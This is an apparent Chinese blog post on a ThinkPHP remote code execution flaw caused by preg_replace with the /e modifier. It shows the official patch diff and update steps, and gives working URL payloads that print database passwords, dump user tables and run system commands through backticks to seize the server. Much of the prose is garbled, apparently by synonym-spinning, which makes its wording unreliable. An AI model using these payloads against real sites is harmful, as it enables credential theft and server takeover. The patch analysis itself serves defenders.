THINKPHP URL漏洞可举行任意系统命令

ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架(目前我们公司所有项目都是TP的),ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码。
通过SVN我们来分析一下官方的补丁: 

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php 
125  -   $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 
125  +   $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=\'\\2\';', implode($depr,$paths)); 

本条代码是把pathinfo当作restful类型url举行分析的,紧要意义是把pathinfo中的数量解析并联合到$_GET数组中。 
不过在用正则解析pathinfo的时候,首假如这一句:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这里肯定使用了preg_replace的/e参数,这是个十分惊险的参数,假诺用了这一个参数,preg_replace第二个参数就会被看作php代码执行,作者用这种艺术在其次个参数中,利用PHP代码给数组动态赋值。

'$var[\'\\1\']="\\2";' 

而这边又是双引号,而双引号中的php变量语法又是可以被分析执行的。因而,攻击者只要对擅自一个拔取thinkphp框架编写的应用程序,使用如下格局展开走访,即可进行任意PHP代码: 

  1. 采用URL能够查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST

    • index.php/module/action/param1/${@print(THINK_VERSION)}
    • index.php/module/action/param1/${@print(C(‘’))}
    • index.php/module/action/param1/${@print(C(‘DB_PASS’))}

PHP 1

2.运用模型D方法或者M方法,预计后台帐号密码,当然要先猜一下用户的表名了貌似境况都是user/users/admin/employee,反正自己滴用户表都是那一个0.0,当然其他的PHP函数都是足以执行的

http://www.XXX.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)->select())}

PHP 2

 3.
采用PHP在“·”(Tab键下边的键,URL编码后为%60)之间的情节可以作为命令执行的办法,不管是windows仍然Linux下(使用PHP_PHP,OS可以查阅在哪个服务器上运行)

都足以推行cmd或者是Shell命令,
这么些就特意危险了,我们可以博得的系列的控制权限,测试一下windows下版本

赢得系统管理员帐号

PHP 3

 

只要你有THINKPHP框架做的网站,这就认证您的体系现在一度在裸奔了,官方已经宣布修复漏洞的补丁,地址:

http://thinkphp.cn/down-116.html

立异方法:

率先解压缩补丁文件

2.1和2.2版本
轮换补丁包中的Dispatcher.class.php 文件到
ThinkPHP/Lib/Think/Util/目录下的同名文件

3.0版本
轮换补丁包中的Dispatcher.class.php 文件到
ThinkPHP/Lib/Core/目录下边的同名文件
轮换补丁包中的CheckRouteBehavior.class.php 文件到
ThinkPHP/Lib/Behavior/目录下边的同名文件

以上新闻纯属学习~不得用以非法入侵破坏0.0
否则后果自负!

相关文章